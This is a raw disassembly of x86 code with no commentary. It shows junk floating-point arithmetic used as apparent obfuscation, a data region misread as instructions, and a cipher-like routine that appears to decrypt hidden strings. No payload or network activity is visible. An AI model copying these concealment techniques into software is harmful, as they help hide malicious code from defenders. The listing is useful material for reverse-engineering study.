movss dword [ebp - 0x35c8], xmm0
movss xmm0, dword [ebp - 0x35c8]
addss xmm0, dword [ebp - 0x39a0]
movss dword [ebp - 0x35c8], xmm0
movss xmm0, dword [ebp - 0x35c8]
comiss xmm0, dword [ebp - 0x39a0]
jbe 0x42b5ce
movss xmm0, dword [ebp - 0x375c]
addss xmm0, dword [ebp - 0x3784]
movss dword [ebp - 0x375c], xmm0
movss xmm0, dword [ebp - 0x35c8]
addss xmm0, dword [ebp - 0x39a0]
movss dword [ebp - 0x35c8], xmm0
movss xmm0, dword [ebp - 0x39a0]
subss xmm0, dword [ebp - 0x35c8]
movss dword [ebp - 0x39a0], xmm0
movss xmm0, dword [ebp - 0x3784]
subss xmm0, dword [ebp - 0x375c]
movss dword [ebp - 0x3784], xmm0
mov eax, 2
imul ecx, eax, 0xe
mov dword [ebp - 0x5170], ecx
cmp dword [ebp - 0x5170], 0x1e
jae 0x42b5b4
jmp 0x42b5b9
call fcn.009f5b17
xor edx, edx
mov eax, dword [ebp - 0x5170]
mov word [ebp + eax - 0xb8], dx
jmp 0x42b761
movss xmm0, dword [ebp - 0x35c8]
subss xmm0, dword [ebp - 0x375c]
movss dword [ebp - 0x35c8], xmm0
movss xmm0, dword [ebp - 0x375c]
mulss xmm0, dword [ebp - 0x39a0]
movss dword [ebp - 0x375c], xmm0
movss xmm0, dword [ebp - 0x3784]
divss xmm0, dword [ebp - 0x35c8]
movss dword [ebp - 0x3784], xmm0
movss xmm0, dword [ebp - 0x3784]
divss xmm0, dword [ebp - 0x35c8]
movss dword [ebp - 0x3784], xmm0
movss xmm0, dword [ebp - 0x35c8]
subss xmm0, dword [ebp - 0x375c]
movss dword [ebp - 0x35c8], xmm0
movss xmm0, dword [ebp - 0x35c8]
addss xmm0, dword [ebp - 0x375c]
movss dword [ebp - 0x35c8], xmm0
movss xmm0, dword [ebp - 0x35c8]
divss xmm0, dword [ebp - 0x375c]
movss dword [ebp - 0x35c8], xmm0
movss xmm0, dword [ebp - 0x375c]
mulss xmm0, dword [ebp - 0x39a0]
movss dword [ebp - 0x375c], xmm0
movss xmm0, dword [ebp - 0x375c]
comiss xmm0, dword [ebp - 0x3784]
jbe 0x42b701
movss xmm0, dword [ebp - 0x39a0]
divss xmm0, dword [ebp - 0x35c8]
movss dword [ebp - 0x39a0], xmm0
movss xmm0, dword [ebp - 0x39a0]
divss xmm0, dword [ebp - 0x35c8]
movss dword [ebp - 0x39a0], xmm0
movss xmm0, dword [ebp - 0x3784]
divss xmm0, dword [ebp - 0x375c]
movss dword [ebp - 0x3784], xmm0
movss xmm0, dword [ebp - 0x375c]
divss xmm0, dword [ebp - 0x3784]
movss dword [ebp - 0x375c], xmm0
jmp 0x42b761
movss xmm0, dword [ebp - 0x3784]
addss xmm0, dword [ebp - 0x375c]
movss dword [ebp - 0x3784], xmm0
movss xmm0, dword [ebp - 0x3784]
mulss xmm0, dword [ebp - 0x375c]
movss dword [ebp - 0x3784], xmm0
movss xmm0, dword [ebp - 0x375c]
mulss xmm0, dword [ebp - 0x3784]
movss dword [ebp - 0x375c], xmm0
movss xmm0, dword [ebp - 0x39a0]
subss xmm0, dword [ebp - 0x35c8]
movss dword [ebp - 0x39a0], xmm0
jmp 0x42b7b7
mov dword [ebp - 0x4888], 0
jmp 0x42b77e
mov ecx, dword [ebp - 0x4888]
add ecx, 1
mov dword [ebp - 0x4888], ecx
cmp dword [ebp - 0x4888], 0xf
jge 0x42b7b7
mov edx, dword [ebp - 0x4888]
shl edx, 1
mov dword [ebp - 0x516c], edx
cmp dword [ebp - 0x516c], 0x1e
jae 0x42b7a0
jmp 0x42b7a5
call fcn.009f5b17
xor eax, eax
mov ecx, dword [ebp - 0x516c]
mov word [ebp + ecx - 0xb8], ax
jmp 0x42b76f
mov dword [ebp - 0x3228], 0
mov dword [ebp - 0x3224], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4804], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45a0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45a0], xmm0
jmp 0x42b806
movsd xmm0, qword [ebp - 0x45a0]
addsd xmm0, qword [0xa71340]
movsd qword [ebp - 0x45a0], xmm0
movsd xmm0, qword [0xa718d8]
comisd xmm0, xmmword [ebp - 0x45a0]
jbe 0x42b8b7
movsd xmm0, qword [0xa71610]
mulsd xmm0, qword [ebp - 0x45a0]
mulsd xmm0, qword [ebp - 0x45a0]
movsd xmm1, qword [ebp - 0x45a0]
mulsd xmm1, qword [ebp - 0x45a0]
subsd xmm0, xmm1
movsd xmm1, qword [0xa713d0]
mulsd xmm1, qword [ebp - 0x45a0]
mulsd xmm1, qword [ebp - 0x45a0]
addsd xmm1, qword [0xa714b8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4804]
movsd qword [ebp - 0x4804], xmm0
movsd xmm0, qword [ebp - 0x4804]
comisd xmm0, xmmword [0xa71510]
jbe 0x42b8b2
movsd xmm0, qword [0xa71308]
mulsd xmm0, qword [ebp - 0x45a0]
movsd xmm1, qword [ebp - 0x4804]
subsd xmm1, xmm0
movsd qword [ebp - 0x4804], xmm1
jmp 0x42b7ee
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4804]
jbe 0x42b8e4
aaa
pop edx
inc ecx
pop edi
insd dword es:[edi], dx
inc ecx
insb byte es:[edi], dx
inc edi
pop ebx
and eax, 0x27515a2e
pop eax
or edx, dword [esi + 0xc]
push eax
adc ecx, dword [edi + 0x10]
dec edi
adc al, 0xe9
js 0x42b8f8
add byte [eax], al
mov dword [ebp - 0x3228], 0x42b8d5
mov dword [ebp - 0x3224], 0x42b8c4
mov edx, dword [ebp - 0x3228]
mov dword [ebp - 0x4080], edx
mov eax, dword [ebp - 0x3224]
mov dword [ebp - 0x64c4], eax
mov byte [ebp - 0x3faa], 0x15
mov dword [ebp - 0x3788], 0
jmp 0x42b932
mov ecx, dword [ebp - 0x3788]
add ecx, 1
mov dword [ebp - 0x3788], ecx
cmp dword [ebp - 0x3788], 0x100
jae 0x42b953
mov edx, dword [ebp - 0x3788]
mov al, byte [ebp - 0x3788]
mov byte [ebp + edx - 0x68d8], al
jmp 0x42b923
mov dword [ebp - 0x44f8], 0
mov byte [ebp - 0x3356], 0
mov dword [ebp - 0x3788], 0xff
jmp 0x42b97f
mov ecx, dword [ebp - 0x3788]
sub ecx, 1
mov dword [ebp - 0x3788], ecx
cmp dword [ebp - 0x3788], 0
jbe 0x42bbef
mov dword [ebp - 0x4b34], 0
mov dword [ebp - 0x4884], 1
mov edx, dword [ebp - 0x4884]
cmp edx, dword [ebp - 0x3788]
jae 0x42b9c0
mov eax, dword [ebp - 0x4884]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4884], ecx
jmp 0x42b9a0
mov edx, dword [ebp - 0x44f8]
mov dword [ebp - 0x5168], edx
cmp dword [ebp - 0x5168], 3
ja case.default.0x42b9df
mov eax, dword [ebp - 0x5168]
jmp dword [eax*4 + 0x46af88]
movzx ecx, byte [ebp - 0x3356]
movzx ebx, byte [ebp + ecx - 0x68d8]
movsd xmm0, qword [ebp - 0x4804]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3356], bl
jmp 0x42bac8
movzx edx, byte [ebp - 0x3356]
movzx ebx, byte [ebp + edx - 0x68d8]
movsd xmm0, qword [ebp - 0x4804]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3356], bl
jmp 0x42bac8
movzx eax, byte [ebp - 0x3356]
movzx ebx, byte [ebp + eax - 0x68d8]
movsd xmm0, qword [ebp - 0x4804]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3356], bl
jmp 0x42bac8
movzx ecx, byte [ebp - 0x3356]
movzx ebx, byte [ebp + ecx - 0x68d8]
movsd xmm0, qword [ebp - 0x4804]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3356], bl
jmp 0x42bac8
movzx edx, byte [ebp - 0x3356]
movzx eax, byte [ebp + edx - 0x68d8]
mov ecx, dword [ebp - 0x64c4]
add ecx, dword [ebp - 0x44f8]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x3356], al
mov eax, dword [ebp - 0x44f8]
add eax, 1
mov dword [ebp - 0x44f8], eax
movzx ecx, byte [ebp - 0x3faa]
cmp dword [ebp - 0x44f8], ecx
jb 0x42bb06
mov dword [ebp - 0x44f8], 0
movzx edx, byte [ebp - 0x3faa]
movzx eax, byte [ebp - 0x3356]
add eax, edx
mov byte [ebp - 0x3356], al
movzx ecx, byte [ebp - 0x3356]
and ecx, dword [ebp - 0x4884]
mov dword [ebp - 0x42d4], ecx
mov edx, dword [ebp - 0x4b34]
add edx, 1
mov dword [ebp - 0x4b34], edx
cmp dword [ebp - 0x4b34], 0xb
jbe 0x42bb45
mov eax, dword [ebp - 0x42d4]
xor edx, edx
div dword [ebp - 0x3788]
mov dword [ebp - 0x42d4], edx
mov eax, dword [ebp - 0x42d4]
cmp eax, dword [ebp - 0x3788]
ja 0x42b9c0
mov ecx, dword [ebp - 0x3788]
cmp ecx, dword [ebp - 0x42d4]
je 0x42bbea
mov edx, dword [ebp - 0x42d4]
movzx eax, byte [ebp + edx - 0x68d8]
mov ecx, dword [ebp - 0x3788]
movzx edx, byte [ebp + ecx - 0x68d8]
xor edx, eax
mov eax, dword [ebp - 0x3788]
mov byte [ebp + eax - 0x68d8], dl
mov ecx, dword [ebp - 0x3788]
movzx edx, byte [ebp + ecx - 0x68d8]
mov eax, dword [ebp - 0x42d4]
movzx ecx, byte [ebp + eax - 0x68d8]
xor ecx, edx
mov edx, dword [ebp - 0x42d4]
mov byte [ebp + edx - 0x68d8], cl
mov eax, dword [ebp - 0x42d4]
movzx ecx, byte [ebp + eax - 0x68d8]
mov edx, dword [ebp - 0x3788]
movzx eax, byte [ebp + edx - 0x68d8]
xor eax, ecx
mov ecx, dword [ebp - 0x3788]
mov byte [ebp + ecx - 0x68d8], al
jmp 0x42b970
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x68d8]
mov byte [ebp - 0x32c2], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x68d8]
mov byte [ebp - 0x32d5], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x68d8]
mov byte [ebp - 0x3332], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x68d8]
mov byte [ebp - 0x32d4], al
movzx ecx, byte [ebp - 0x3356]
mov dl, byte [ebp + ecx - 0x68d8]
mov byte [ebp - 0x330b], dl
mov dword [ebp - 0x5164], 0xa
cmp dword [ebp - 0x5164], 2
jle 0x42cf0b
mov eax, dword [ebp - 0x5164]
and eax, 1
jne 0x42cf0b
mov dword [ebp - 0x34b0], 0
mov dword [ebp - 0x4108], 0
mov ecx, dword [ebp - 0x4108]
add ecx, 1
mov dword [ebp - 0x4108], ecx
mov dword [ebp - 0x410c], 0
mov edx, dword [ebp - 0x34b0]
shl edx, 1
mov dword [ebp - 0x410c], edx
mov dword [ebp - 0x3f10], 0
mov eax, dword [ebp - 0x4080]
add eax, dword [ebp - 0x410c]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3f10]
mov dword [ebp - 0x3f10], ecx
mov dword [ebp - 0x3f14], 0
mov edx, dword [ebp - 0x3f14]
add edx, 0x49
mov dword [ebp - 0x3f14], edx
mov dword [ebp - 0x4084], 0
mov eax, dword [ebp - 0x34b0]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4084], ecx
mov dword [ebp - 0x3f18], 0
mov edx, dword [ebp - 0x4080]
add edx, dword [ebp - 0x4084]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3f18]
mov dword [ebp - 0x3f18], eax
mov dword [ebp - 0x3f1c], 0
mov ecx, dword [ebp - 0x3f1c]
add ecx, 9
mov dword [ebp - 0x3f1c], ecx
mov dword [ebp - 0x3f20], 0
mov edx, dword [ebp - 0x3f10]
sub edx, dword [ebp - 0x3f14]
add edx, dword [ebp - 0x3f20]
mov dword [ebp - 0x3f20], edx
mov dword [ebp - 0x3f24], 0
mov eax, dword [ebp - 0x3f18]
sub eax, dword [ebp - 0x3f1c]
add eax, dword [ebp - 0x3f24]
mov dword [ebp - 0x3f24], eax
mov dword [ebp - 0x4088], 0
mov ecx, dword [ebp - 0x3f20]
shl ecx, 4
mov dword [ebp - 0x4088], ecx
mov dword [ebp - 0x408c], 0
mov edx, dword [ebp - 0x3f24]
mov dword [ebp - 0x408c], edx
mov dword [ebp - 0x4090], 0
mov eax, dword [ebp - 0x4088]
or eax, dword [ebp - 0x408c]
mov dword [ebp - 0x4090], eax
mov byte [ebp - 0x332c], 0
mov cl, byte [ebp - 0x4090]
mov byte [ebp - 0x332c], cl
mov byte [ebp - 0x332e], 0
movzx edx, byte [ebp - 0x330b]
mov al, byte [ebp + edx - 0x68d8]
mov byte [ebp - 0x332e], al
movsd xmm0, qword [0xa71fa8]
movsd qword [ebp - 0x45a8], xmm0
movsd xmm0, qword [0xa71f30]
movsd qword [ebp - 0x48ec], xmm0
movsd xmm0, qword [0xa71e60]
movsd qword [ebp - 0x4814], xmm0
movsd xmm0, qword [0xa71cb0]
movsd qword [ebp - 0x481c], xmm0
movsd xmm0, qword [0xa71ac8]
movsd qword [ebp - 0x4cbc], xmm0
movsd xmm0, qword [0xa71810]
movsd qword [ebp - 0x471c], xmm0
movsd xmm0, qword [ebp - 0x4cbc]
subsd xmm0, qword [ebp - 0x471c]
movsd qword [ebp - 0x4cbc], xmm0
movsd xmm0, qword [ebp - 0x45a8]
mulsd xmm0, qword [ebp - 0x471c]
movsd qword [ebp - 0x45a8], xmm0
movsd xmm0, qword [ebp - 0x481c]
addsd xmm0, qword [ebp - 0x471c]
movsd qword [ebp - 0x481c], xmm0
movsd xmm0, qword [ebp - 0x45a8]
mulsd xmm0, qword [ebp - 0x471c]
movsd qword [ebp - 0x45a8], xmm0
movsd xmm0, qword [ebp - 0x4814]
addsd xmm0, qword [ebp - 0x471c]
movsd qword [ebp - 0x4814], xmm0
movsd xmm0, qword [ebp - 0x45a8]
subsd xmm0, qword [ebp - 0x471c]
movsd qword [ebp - 0x45a8], xmm0
movsd xmm0, qword [ebp - 0x4cbc]
comisd xmm0, xmmword [ebp - 0x45a8]
jbe 0x42bfa6
movsd xmm0, qword [ebp - 0x4814]
mulsd xmm0, qword [ebp - 0x481c]
movsd qword [ebp - 0x4814], xmm0
movsd xmm0, qword [ebp - 0x481c]
subsd xmm0, qword [ebp - 0x4cbc]
movsd qword [ebp - 0x481c], xmm0
movsd xmm0, qword [ebp - 0x471c]
addsd xmm0, qword [ebp - 0x45a8]
movsd qword [ebp - 0x471c], xmm0
movsd xmm0, qword [ebp - 0x48ec]
mulsd xmm0, qword [ebp - 0x4814]
movsd qword [ebp - 0x48ec], xmm0
movsd xmm0, qword [ebp - 0x48ec]
subsd xmm0, qword [ebp - 0x4814]
movsd qword [ebp - 0x48ec], xmm0
movsd xmm0, qword [ebp - 0x481c]
addsd xmm0, qword [ebp - 0x4cbc]
movsd qword [ebp - 0x481c], xmm0
jmp 0x42c063
movsd xmm0, qword [ebp - 0x4814]
mulsd xmm0, qword [ebp - 0x481c]
movsd qword [ebp - 0x4814], xmm0
movsd xmm0, qword [ebp - 0x471c]
subsd xmm0, qword [ebp - 0x45a8]
movsd qword [ebp - 0x471c], xmm0
movsd xmm0, qword [ebp - 0x48ec]
mulsd xmm0, qword [ebp - 0x4814]
movsd qword [ebp - 0x48ec], xmm0
movsd xmm0, qword [ebp - 0x48ec]
addsd xmm0, qword [ebp - 0x4814]
movsd qword [ebp - 0x48ec], xmm0
movsd xmm0, qword [ebp - 0x481c]
subsd xmm0, qword [ebp - 0x4cbc]
movsd qword [ebp - 0x481c], xmm0
movsd xmm0, qword [ebp - 0x45a8]
subsd xmm0, qword [ebp - 0x48ec]
movsd qword [ebp - 0x45a8], xmm0
movzx ecx, byte [ebp - 0x32c2]
movzx edx, byte [ebp + ecx - 0x68d8]
movzx eax, byte [ebp - 0x32d5]
add eax, edx
mov byte [ebp - 0x32d5], al
mov cl, byte [ebp - 0x32c2]
add cl, 1
mov byte [ebp - 0x32c2], cl
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp - 0x330b]
mov cl, byte [ebp + edx - 0x68d8]
mov byte [ebp + eax - 0x68d8], cl
movzx edx, byte [ebp - 0x32d4]
movzx eax, byte [ebp - 0x32d5]
mov cl, byte [ebp + edx - 0x68d8]
mov byte [ebp + eax - 0x68d8], cl
movzx edx, byte [ebp - 0x32c2]
movzx eax, byte [ebp - 0x32d4]
mov cl, byte [ebp + edx - 0x68d8]
mov byte [ebp + eax - 0x68d8], cl
movzx edx, byte [ebp - 0x32c2]
mov al, byte [ebp - 0x332e]
mov byte [ebp + edx - 0x68d8], al
movzx ecx, byte [ebp - 0x332e]
movzx edx, byte [ebp + ecx - 0x68d8]
movzx eax, byte [ebp - 0x3332]
add eax, edx
mov byte [ebp - 0x3332], al
movzx ecx, byte [ebp - 0x332c]
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp + edx - 0x68d8]
movzx edx, byte [ebp - 0x32c2]
movzx edx, byte [ebp + edx - 0x68d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x68d8]
xor ecx, eax
movzx edx, byte [ebp - 0x32d4]
movzx eax, byte [ebp + edx - 0x68d8]
movzx edx, byte [ebp - 0x330b]
movzx edx, byte [ebp + edx - 0x68d8]
add eax, edx
movzx edx, byte [ebp - 0x3332]
movzx edx, byte [ebp + edx - 0x68d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x68d8]
movzx edx, byte [ebp + eax - 0x68d8]
xor ecx, edx
mov byte [ebp - 0x32d4], cl
mov al, byte [ebp - 0x332c]
mov byte [ebp - 0x330b], al
mov cl, byte [ebp - 0x32d4]
mov byte [ebp - 0x33bf], cl
cmp dword [ebp - 0x34b0], 0
jle 0x42c1a1
movsx dx, byte [ebp - 0x33bf]
mov eax, dword [ebp - 0x34b0]
mov word [ebp + eax*2 - 0x12], dx
mov ecx, dword [ebp - 0x34b0]
add ecx, 1
mov dword [ebp - 0x34b0], ecx
mov edx, dword [ebp - 0x4108]
add edx, 1
mov dword [ebp - 0x4108], edx
mov eax, dword [ebp - 0x34b0]
shl eax, 1
mov dword [ebp - 0x410c], eax
mov ecx, dword [ebp - 0x4080]
add ecx, dword [ebp - 0x410c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f10], edx
mov dword [ebp - 0x3f14], 0x49
mov eax, dword [ebp - 0x34b0]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4084], ecx
mov edx, dword [ebp - 0x4080]
add edx, dword [ebp - 0x4084]
movzx eax, byte [edx]
mov dword [ebp - 0x3f18], eax
mov dword [ebp - 0x3f1c], 9
mov ecx, dword [ebp - 0x3f10]
sub ecx, dword [ebp - 0x3f14]
mov dword [ebp - 0x3f20], ecx
mov edx, dword [ebp - 0x3f18]
sub edx, dword [ebp - 0x3f1c]
mov dword [ebp - 0x3f24], edx
mov eax, dword [ebp - 0x3f20]
shl eax, 4
mov dword [ebp - 0x4088], eax
mov ecx, dword [ebp - 0x3f24]
mov dword [ebp - 0x408c], ecx
mov edx, dword [ebp - 0x4088]
or edx, dword [ebp - 0x408c]
mov dword [ebp - 0x4090], edx
mov al, byte [ebp - 0x4090]
mov byte [ebp - 0x332c], al
movzx ecx, byte [ebp - 0x330b]
mov dl, byte [ebp + ecx - 0x68d8]
mov byte [ebp - 0x332e], dl
movzx eax, byte [ebp - 0x32c2]
movzx ecx, byte [ebp + eax - 0x68d8]
movzx edx, byte [ebp - 0x32d5]
add edx, ecx
mov byte [ebp - 0x32d5], dl
mov al, byte [ebp - 0x32c2]
add al, 1
mov byte [ebp - 0x32c2], al
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp - 0x330b]
mov al, byte [ebp + ecx - 0x68d8]
mov byte [ebp + edx - 0x68d8], al
movzx ecx, byte [ebp - 0x32d4]
movzx edx, byte [ebp - 0x32d5]
mov al, byte [ebp + ecx - 0x68d8]
mov byte [ebp + edx - 0x68d8], al
movzx ecx, byte [ebp - 0x32c2]
movzx edx, byte [ebp - 0x32d4]
mov al, byte [ebp + ecx - 0x68d8]
mov byte [ebp + edx - 0x68d8], al
movzx ecx, byte [ebp - 0x32c2]
mov dl, byte [ebp - 0x332e]
mov byte [ebp + ecx - 0x68d8], dl
movzx eax, byte [ebp - 0x332e]
movzx ecx, byte [ebp + eax - 0x68d8]
movzx edx, byte [ebp - 0x3332]
add edx, ecx
mov byte [ebp - 0x3332], dl
movzx eax, byte [ebp - 0x332c]
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp + ecx - 0x68d8]
movzx ecx, byte [ebp - 0x32c2]
movzx ecx, byte [ebp + ecx - 0x68d8]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x68d8]
xor eax, edx
movzx ecx, byte [ebp - 0x32d4]
movzx edx, byte [ebp + ecx - 0x68d8]
movzx ecx, byte [ebp - 0x330b]
movzx ecx, byte [ebp + ecx - 0x68d8]
add edx, ecx
movzx ecx, byte [ebp - 0x3332]
movzx ecx, byte [ebp + ecx - 0x68d8]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x68d8]
movzx ecx, byte [ebp + edx - 0x68d8]
xor eax, ecx
mov byte [ebp - 0x32d4], al
mov dl, byte [ebp - 0x332c]
mov byte [ebp - 0x330b], dl
mov al, byte [ebp - 0x32d4]
mov byte [ebp - 0x33bf], al
cmp dword [ebp - 0x34b0], 0
jle 0x42c3f8
movsx cx, byte [ebp - 0x33bf]
mov edx, dword [ebp - 0x34b0]
mov word [ebp + edx*2 - 0x12], cx
mov eax, dword [ebp - 0x34b0]
add eax, 1
mov dword [ebp - 0x34b0], eax
mov ecx, dword [ebp - 0x4108]
add ecx, 1
mov dword [ebp - 0x4108], ecx
mov edx, dword [ebp - 0x34b0]
shl edx, 1
mov dword [ebp - 0x410c], edx
mov eax, dword [ebp - 0x4080]
add eax, dword [ebp - 0x410c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f10], ecx
mov dword [ebp - 0x3f14], 0x49
mov edx, dword [ebp - 0x34b0]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4084], eax
mov ecx, dword [ebp - 0x4080]
add ecx, dword [ebp - 0x4084]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f18], edx
mov dword [ebp - 0x3f1c], 9
mov eax, dword [ebp - 0x3f10]
sub eax, dword [ebp - 0x3f14]
mov dword [ebp - 0x3f20], eax
mov ecx, dword [ebp - 0x3f18]
sub ecx, dword [ebp - 0x3f1c]
mov dword [ebp - 0x3f24], ecx
mov edx, dword [ebp - 0x3f20]
shl edx, 4
mov dword [ebp - 0x4088], edx
mov eax, dword [ebp - 0x3f24]
mov dword [ebp - 0x408c], eax
mov ecx, dword [ebp - 0x4088]
or ecx, dword [ebp - 0x408c]
mov dword [ebp - 0x4090], ecx
mov dl, byte [ebp - 0x4090]
mov byte [ebp - 0x332c], dl
movzx eax, byte [ebp - 0x330b]
mov cl, byte [ebp + eax - 0x68d8]
mov byte [ebp - 0x332e], cl
movzx edx, byte [ebp - 0x32c2]
movzx eax, byte [ebp + edx - 0x68d8]
movzx ecx, byte [ebp - 0x32d5]
add ecx, eax
mov byte [ebp - 0x32d5], cl
mov dl, byte [ebp - 0x32c2]
add dl, 1
mov byte [ebp - 0x32c2], dl
movzx eax, byte [ebp - 0x32d5]
movzx ecx, byte [ebp - 0x330b]
mov dl, byte [ebp + eax - 0x68d8]
mov byte [ebp + ecx - 0x68d8], dl
movzx eax, byte [ebp - 0x32d4]
movzx ecx, byte [ebp - 0x32d5]
mov dl, byte [ebp + eax - 0x68d8]
mov byte [ebp + ecx - 0x68d8], dl
movzx eax, byte [ebp - 0x32c2]
movzx ecx, byte [ebp - 0x32d4]
mov dl, byte [ebp + eax - 0x68d8]
mov byte [ebp + ecx - 0x68d8], dl
movzx eax, byte [ebp - 0x32c2]
mov cl, byte [ebp - 0x332e]
mov byte [ebp + eax - 0x68d8], cl
movzx edx, byte [ebp - 0x332e]
movzx eax, byte [ebp + edx - 0x68d8]
movzx ecx, byte [ebp - 0x3332]
add ecx, eax
mov byte [ebp - 0x3332], cl
movzx edx, byte [ebp - 0x332c]
movzx eax, byte [ebp - 0x32d5]
movzx ecx, byte [ebp + eax - 0x68d8]
movzx eax, byte [ebp - 0x32c2]
movzx eax, byte [ebp + eax - 0x68d8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x68d8]
xor edx, ecx
movzx eax, byte [ebp - 0x32d4]
movzx ecx, byte [ebp + eax - 0x68d8]
movzx eax, byte [ebp - 0x330b]
movzx eax, byte [ebp + eax - 0x68d8]
add ecx, eax
movzx eax, byte [ebp - 0x3332]
movzx eax, byte [ebp + eax - 0x68d8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x68d8]
movzx eax, byte [ebp + ecx - 0x68d8]
xor edx, eax
mov byte [ebp - 0x32d4], dl
mov cl, byte [ebp - 0x332c]
mov byte [ebp - 0x330b], cl
mov dl, byte [ebp - 0x32d4]
mov byte [ebp - 0x33bf], dl
cmp dword [ebp - 0x34b0], 0
jle 0x42c650
movsx ax, byte [ebp - 0x33bf]
mov ecx, dword [ebp - 0x34b0]
mov word [ebp + ecx*2 - 0x12], ax
mov edx, dword [ebp - 0x34b0]
add edx, 1
mov dword [ebp - 0x34b0], edx
mov eax, dword [ebp - 0x4108]
add eax, 1
mov dword [ebp - 0x4108], eax
mov ecx, dword [ebp - 0x34b0]
shl ecx, 1
mov dword [ebp - 0x410c], ecx
mov edx, dword [ebp - 0x4080]
add edx, dword [ebp - 0x410c]
movzx eax, byte [edx]
mov dword [ebp - 0x3f10], eax
mov dword [ebp - 0x3f14], 0x49
mov ecx, dword [ebp - 0x34b0]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4084], edx
mov eax, dword [ebp - 0x4080]
add eax, dword [ebp - 0x4084]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f18], ecx
mov dword [ebp - 0x3f1c], 9
mov edx, dword [ebp - 0x3f10]
sub edx, dword [ebp - 0x3f14]
mov dword [ebp - 0x3f20], edx
mov eax, dword [ebp - 0x3f18]
sub eax, dword [ebp - 0x3f1c]
mov dword [ebp - 0x3f24], eax
mov ecx, dword [ebp - 0x3f20]
shl ecx, 4
mov dword [ebp - 0x4088], ecx
mov edx, dword [ebp - 0x3f24]
mov dword [ebp - 0x408c], edx
mov eax, dword [ebp - 0x4088]
or eax, dword [ebp - 0x408c]
mov dword [ebp - 0x4090], eax
mov cl, byte [ebp - 0x4090]
mov byte [ebp - 0x332c], cl
movzx edx, byte [ebp - 0x330b]
mov al, byte [ebp + edx - 0x68d8]
mov byte [ebp - 0x332e], al
movzx ecx, byte [ebp - 0x32c2]
movzx edx, byte [ebp + ecx - 0x68d8]
movzx eax, byte [ebp - 0x32d5]
add eax, edx
mov byte [ebp - 0x32d5], al
mov cl, byte [ebp - 0x32c2]
add cl, 1
mov byte [ebp - 0x32c2], cl
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp - 0x330b]
mov cl, byte [ebp + edx - 0x68d8]
mov byte [ebp + eax - 0x68d8], cl
movzx edx, byte [ebp - 0x32d4]
movzx eax, byte [ebp - 0x32d5]
mov cl, byte [ebp + edx - 0x68d8]
mov byte [ebp + eax - 0x68d8], cl
movzx edx, byte [ebp - 0x32c2]
movzx eax, byte [ebp - 0x32d4]
mov cl, byte [ebp + edx - 0x68d8]
mov byte [ebp + eax - 0x68d8], cl
movzx edx, byte [ebp - 0x32c2]
mov al, byte [ebp - 0x332e]
mov byte [ebp + edx - 0x68d8], al
movzx ecx, byte [ebp - 0x332e]
movzx edx, byte [ebp + ecx - 0x68d8]
movzx eax, byte [ebp - 0x3332]
add eax, edx
mov byte [ebp - 0x3332], al
movzx ecx, byte [ebp - 0x332c]
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp + edx - 0x68d8]
movzx edx, byte [ebp - 0x32c2]
movzx edx, byte [ebp + edx - 0x68d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x68d8]
xor ecx, eax
movzx edx, byte [ebp - 0x32d4]
movzx eax, byte [ebp + edx - 0x68d8]
movzx edx, byte [ebp - 0x330b]
movzx edx, byte [ebp + edx - 0x68d8]
add eax, edx
movzx edx, byte [ebp - 0x3332]
movzx edx, byte [ebp + edx - 0x68d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x68d8]
movzx edx, byte [ebp + eax - 0x68d8]
xor ecx, edx
mov byte [ebp - 0x32d4], cl
mov al, byte [ebp - 0x332c]
mov byte [ebp - 0x330b], al
mov cl, byte [ebp - 0x32d4]
mov byte [ebp - 0x33bf], cl
cmp dword [ebp - 0x34b0], 0
jle 0x42c8a6
movsx dx, byte [ebp - 0x33bf]
mov eax, dword [ebp - 0x34b0]
mov word [ebp + eax*2 - 0x12], dx
mov ecx, dword [ebp - 0x34b0]
add ecx, 1
mov dword [ebp - 0x34b0], ecx
mov edx, dword [ebp - 0x4108]
add edx, 1
mov dword [ebp - 0x4108], edx
mov eax, dword [ebp - 0x34b0]
shl eax, 1
mov dword [ebp - 0x410c], eax
mov ecx, dword [ebp - 0x4080]
add ecx, dword [ebp - 0x410c]
